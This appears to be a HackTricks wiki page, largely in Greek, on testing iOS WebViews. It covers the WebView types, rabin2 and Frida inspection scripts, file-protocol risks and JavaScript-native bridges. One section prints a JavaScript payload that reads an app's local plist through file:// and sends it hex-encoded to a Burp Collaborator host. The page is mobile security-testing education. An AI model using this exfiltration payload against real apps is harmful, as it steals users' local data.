25 KiB
iOS WebViews
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
The code of this page was extracted from here. Check the page for further details.
WebViews types
Οι WebViews χρησιμοποιούνται εντός εφαρμογών για την αλληλεπίδραση με περιεχόμενο ιστού. Διάφοροι τύποι WebViews προσφέρουν διαφορετικές λειτουργίες και χαρακτηριστικά ασφαλείας για εφαρμογές iOS. Ακολουθεί μια σύντομη επισκόπηση:
-
UIWebView, το οποίο δεν συνιστάται πλέον από το iOS 12 και μετά λόγω της έλλειψης υποστήριξης για την απενεργοποίηση του JavaScript, καθιστώντας το ευάλωτο σε επιθέσεις εισαγωγής σεναρίων και Cross-Site Scripting (XSS).
-
WKWebView είναι η προτιμώμενη επιλογή για την ενσωμάτωση περιεχομένου ιστού σε εφαρμογές, προσφέροντας βελτιωμένο έλεγχο επί του περιεχομένου και χαρακτηριστικά ασφαλείας. Το JavaScript είναι ενεργοποιημένο από προεπιλογή, αλλά μπορεί να απενεργοποιηθεί αν χρειαστεί. Υποστηρίζει επίσης χαρακτηριστικά για την αποτροπή του αυτόματου ανοίγματος παραθύρων από το JavaScript και διασφαλίζει ότι όλο το περιεχόμενο φορτώνεται με ασφάλεια. Επιπλέον, η αρχιτεκτονική του WKWebView ελαχιστοποιεί τον κίνδυνο διαφθοράς μνήμης που επηρεάζει τη διαδικασία της κύριας εφαρμογής.
-
SFSafariViewController προσφέρει μια τυποποιημένη εμπειρία περιήγησης ιστού εντός εφαρμογών, αναγνωρίσιμη από τη συγκεκριμένη διάταξή της που περιλαμβάνει ένα πεδίο διεύθυνσης μόνο για ανάγνωση, κουμπιά κοινής χρήσης και πλοήγησης, και έναν άμεσο σύνδεσμο για το άνοιγμα περιεχομένου στο Safari. Σε αντίθεση με το WKWebView, το JavaScript δεν μπορεί να απενεργοποιηθεί στο SFSafariViewController, το οποίο μοιράζεται επίσης cookies και δεδομένα με το Safari, διατηρώντας την ιδιωτικότητα του χρήστη από την εφαρμογή. Πρέπει να εμφανίζεται εμφανώς σύμφωνα με τις οδηγίες του App Store.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews Configuration Exploration Summary
Static Analysis Overview
Στη διαδικασία εξέτασης των ρυθμίσεων WebViews, εστιάζονται σε δύο κύριους τύπους: UIWebView και WKWebView. Για την αναγνώριση αυτών των WebViews μέσα σε ένα δυαδικό αρχείο, χρησιμοποιούνται εντολές, αναζητώντας συγκεκριμένες αναφορές κλάσεων και μεθόδους αρχικοποίησης.
- UIWebView Identification
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
Αυτή η εντολή βοηθά στην εντοπισμό περιπτώσεων του UIWebView αναζητώντας κείμενα που σχετίζονται με αυτό στο δυαδικό αρχείο.
- Αναγνώριση WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
Ομοίως, για WKWebView, αυτή η εντολή αναζητά το δυαδικό αρχείο για κείμενα που υποδηλώνουν τη χρήση του.
Επιπλέον, για να βρείτε πώς αρχικοποιείται ένα WKWebView, εκτελείται η παρακάτω εντολή, στοχεύοντας στην υπογραφή μεθόδου που σχετίζεται με την αρχικοποίησή του:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
Επαλήθευση Ρυθμίσεων JavaScript
Για WKWebView, τονίζεται ότι η απενεργοποίηση της JavaScript είναι μια βέλτιστη πρακτική εκτός αν απαιτείται. Αναζητείται το συμπιεσμένο δυαδικό αρχείο για να επιβεβαιωθεί ότι η ιδιότητα javaScriptEnabled
είναι ρυθμισμένη σε false
, διασφαλίζοντας ότι η JavaScript είναι απενεργοποιημένη:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Μόνο Έλεγχος Ασφαλούς Περιεχομένου
WKWebView προσφέρει τη δυνατότητα να εντοπίζει ζητήματα μικτού περιεχομένου, σε αντίθεση με το UIWebView. Αυτό ελέγχεται χρησιμοποιώντας την ιδιότητα hasOnlySecureContent
για να διασφαλιστεί ότι όλοι οι πόροι της σελίδας φορτώνονται μέσω ασφαλών συνδέσεων. Η αναζήτηση στο μεταγλωττισμένο δυαδικό αρχείο πραγματοποιείται ως εξής:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Δυναμική Ανάλυση Insights
Η δυναμική ανάλυση περιλαμβάνει την επιθεώρηση της σωρού για τις περιπτώσεις WebView και τις ιδιότητές τους. Ένα σενάριο με το όνομα webviews_inspector.js
χρησιμοποιείται για αυτόν τον σκοπό, στοχεύοντας τις περιπτώσεις UIWebView
, WKWebView
και SFSafariViewController
. Καταγράφει πληροφορίες σχετικά με τις βρεθείσες περιπτώσεις, συμπεριλαμβανομένων των URLs και των ρυθμίσεων που σχετίζονται με το JavaScript και το ασφαλές περιεχόμενο.
Η επιθεώρηση της σωρού μπορεί να διεξαχθεί χρησιμοποιώντας το ObjC.choose()
για να εντοπιστούν οι περιπτώσεις WebView και να ελεγχθούν οι ιδιότητες javaScriptEnabled
και hasonlysecurecontent
.
{% code title="webviews_inspector.js" %}
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
{% endcode %}
Το σενάριο εκτελείται με:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Κύρια Αποτελέσματα:
- Οι περιπτώσεις των WebViews εντοπίζονται και επιθεωρούνται με επιτυχία.
- Η ενεργοποίηση JavaScript και οι ρυθμίσεις ασφαλούς περιεχομένου επαληθεύονται.
Αυτή η σύνοψη συνοψίζει τα κρίσιμα βήματα και τις εντολές που εμπλέκονται στην ανάλυση των ρυθμίσεων WebView μέσω στατικών και δυναμικών προσεγγίσεων, εστιάζοντας σε χαρακτηριστικά ασφαλείας όπως η ενεργοποίηση JavaScript και η ανίχνευση μικτού περιεχομένου.
Διαχείριση Πρωτοκόλλου WebView
Η διαχείριση περιεχομένου σε WebViews είναι μια κρίσιμη πτυχή, ειδικά όταν ασχολούμαστε με διάφορα πρωτόκολλα όπως http(s)://
, file://
, και tel://
. Αυτά τα πρωτόκολλα επιτρέπουν τη φόρτωση τόσο απομακρυσμένου όσο και τοπικού περιεχομένου εντός εφαρμογών. Τονίζεται ότι κατά τη φόρτωση τοπικού περιεχομένου, πρέπει να ληφθούν προφυλάξεις για να αποτραπεί η επιρροή των χρηστών στο όνομα ή τη διαδρομή του αρχείου και στην επεξεργασία του περιεχομένου αυτού καθαυτού.
WebViews προσφέρουν διάφορες μεθόδους για τη φόρτωση περιεχομένου. Για το UIWebView, που έχει πλέον καταργηθεί, χρησιμοποιούνται μέθοδοι όπως loadHTMLString:baseURL:
και loadData:MIMEType:textEncodingName:baseURL:
. Το WKWebView, από την άλλη πλευρά, χρησιμοποιεί loadHTMLString:baseURL:
, loadData:MIMEType:textEncodingName:baseURL:
, και loadRequest:
για το διαδικτυακό περιεχόμενο. Μέθοδοι όπως pathForResource:ofType:
, URLForResource:withExtension:
, και init(contentsOf:encoding:)
χρησιμοποιούνται συνήθως για τη φόρτωση τοπικών αρχείων. Η μέθοδος loadFileURL:allowingReadAccessToURL:
είναι ιδιαίτερα αξιοσημείωτη για την ικανότητά της να φορτώνει μια συγκεκριμένη διεύθυνση URL ή κατάλογο στο WebView, ενδεχομένως εκθέτοντας ευαίσθητα δεδομένα αν καθοριστεί ένας κατάλογος.
Για να βρείτε αυτές τις μεθόδους στον πηγαίο κώδικα ή στο μεταγλωττισμένο δυαδικό, μπορούν να χρησιμοποιηθούν εντολές όπως οι παρακάτω:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Σχετικά με την πρόσβαση σε αρχεία, το UIWebView την επιτρέπει καθολικά, ενώ το WKWebView εισάγει τις ρυθμίσεις allowFileAccessFromFileURLs
και allowUniversalAccessFromFileURLs
για τη διαχείριση της πρόσβασης από διευθύνσεις αρχείων, με και τις δύο να είναι ψευδείς από προεπιλογή.
Παρέχεται ένα παράδειγμα σεναρίου Frida για την επιθεώρηση των ρυθμίσεων WKWebView για τις ρυθμίσεις ασφαλείας:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Τέλος, ένα παράδειγμα ενός JavaScript payload που στοχεύει στην εξαγωγή τοπικών αρχείων δείχνει τον πιθανό κίνδυνο ασφαλείας που σχετίζεται με κακώς διαμορφωμένα WebViews. Αυτό το payload κωδικοποιεί το περιεχόμενο των αρχείων σε μορφή hex πριν τα μεταδώσει σε έναν διακομιστή, υπογραμμίζοντας τη σημασία αυστηρών μέτρων ασφαλείας στις υλοποιήσεις WebView.
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
Native Methods Exposed Through WebViews
Understanding WebView Native Interfaces in iOS
Από το iOS 7 και μετά, η Apple παρέχει APIs για επικοινωνία μεταξύ JavaScript σε ένα WebView και εγγενών αντικειμένων Swift ή Objective-C. Αυτή η ενσωμάτωση διευκολύνεται κυρίως μέσω δύο μεθόδων:
- JSContext: Μια JavaScript συνάρτηση δημιουργείται αυτόματα όταν ένα Swift ή Objective-C μπλοκ συνδέεται με έναν αναγνωριστή μέσα σε ένα
JSContext
. Αυτό επιτρέπει την απρόσκοπτη ενσωμάτωση και επικοινωνία μεταξύ JavaScript και εγγενών κωδίκων. - JSExport Protocol: Με την κληρονομιά του πρωτοκόλλου
JSExport
, οι εγγενείς ιδιότητες, οι μεθόδοι στιγμιότυπων και οι μέθοδοι κλάσης μπορούν να εκτεθούν στη JavaScript. Αυτό σημαίνει ότι οποιεσδήποτε αλλαγές γίνονται στο περιβάλλον JavaScript αντικατοπτρίζονται στο εγγενές περιβάλλον και το αντίστροφο. Ωστόσο, είναι σημαντικό να διασφαλιστεί ότι ευαίσθητα δεδομένα δεν εκτίθενται ακούσια μέσω αυτής της μεθόδου.
Accessing JSContext
in Objective-C
Στην Objective-C, το JSContext
για ένα UIWebView
μπορεί να ανακτηθεί με την παρακάτω γραμμή κώδικα:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Επικοινωνία με WKWebView
Για το WKWebView
, η άμεση πρόσβαση στο JSContext
δεν είναι διαθέσιμη. Αντίθετα, χρησιμοποιείται η αποστολή μηνυμάτων μέσω της συνάρτησης postMessage
, επιτρέποντας την επικοινωνία JavaScript με το native. Οι χειριστές για αυτά τα μηνύματα ρυθμίζονται ως εξής, επιτρέποντας στην JavaScript να αλληλεπιδρά με την native εφαρμογή με ασφάλεια:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interaction and Testing
Η JavaScript μπορεί να αλληλεπιδράσει με το εγγενές επίπεδο ορίζοντας έναν χειριστή μηνυμάτων σεναρίου. Αυτό επιτρέπει λειτουργίες όπως η κλήση εγγενών συναρτήσεων από μια ιστοσελίδα:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Για να καταγράψει και να χειριστεί το αποτέλεσμα μιας κλήσης εγγενούς συνάρτησης, μπορεί κανείς να παρακάμψει τη συνάρτηση callback μέσα στο HTML:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
Η εγγενής πλευρά χειρίζεται την κλήση JavaScript όπως φαίνεται στην κλάση JavaScriptBridgeMessageHandler
, όπου το αποτέλεσμα των λειτουργιών όπως ο πολλαπλασιασμός αριθμών επεξεργάζεται και αποστέλλεται πίσω στο JavaScript για εμφάνιση ή περαιτέρω επεξεργασία:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
Debugging iOS WebViews
(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)
Για να αποσφαλματώσετε αποτελεσματικά το περιεχόμενο ιστού μέσα σε iOS webviews, απαιτείται μια συγκεκριμένη ρύθμιση που περιλαμβάνει τα εργαλεία προγραμματιστών του Safari, λόγω του γεγονότος ότι τα μηνύματα που αποστέλλονται στο console.log()
δεν εμφανίζονται στα αρχεία καταγραφής του Xcode. Ακολουθεί ένας απλοποιημένος οδηγός, που τονίζει τα βασικά βήματα και τις απαιτήσεις:
-
Προετοιμασία στη συσκευή iOS: Ο Web Inspector του Safari πρέπει να ενεργοποιηθεί στη συσκευή iOS σας. Αυτό γίνεται πηγαίνοντας στις Ρυθμίσεις > Safari > Προηγμένα, και ενεργοποιώντας τον Web Inspector.
-
Προετοιμασία στη συσκευή macOS: Στη μηχανή ανάπτυξης macOS σας, πρέπει να ενεργοποιήσετε τα εργαλεία προγραμματιστών μέσα στο Safari. Εκκινήστε το Safari, αποκτήστε πρόσβαση στις Ρυθμίσεις Safari > Προτιμήσεις > Προηγμένα, και επιλέξτε την επιλογή για Εμφάνιση μενού Ανάπτυξης.
-
Σύνδεση και αποσφαλμάτωση: Αφού συνδέσετε τη συσκευή iOS σας με τον υπολογιστή macOS και εκκινήσετε την εφαρμογή σας, χρησιμοποιήστε το Safari στη συσκευή macOS σας για να επιλέξετε το webview που θέλετε να αποσφαλματώσετε. Μεταβείτε στο Ανάπτυξη στη γραμμή μενού του Safari, περάστε το ποντίκι πάνω από το όνομα της συσκευής iOS σας για να δείτε μια λίστα με τις περιπτώσεις webview, και επιλέξτε την περίπτωση που θέλετε να επιθεωρήσετε. Ένα νέο παράθυρο Web Inspector του Safari θα ανοίξει για αυτόν τον σκοπό.
Ωστόσο, να είστε προσεκτικοί με τους περιορισμούς:
- Η αποσφαλμάτωση με αυτή τη μέθοδο απαιτεί μια συσκευή macOS, καθώς βασίζεται στο Safari.
- Μόνο τα webviews σε εφαρμογές που έχουν φορτωθεί στη συσκευή σας μέσω του Xcode είναι επιλέξιμα για αποσφαλμάτωση. Τα webviews σε εφαρμογές που έχουν εγκατασταθεί μέσω του App Store ή του Apple Configurator δεν μπορούν να αποσφαλματωθούν με αυτόν τον τρόπο.
References
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.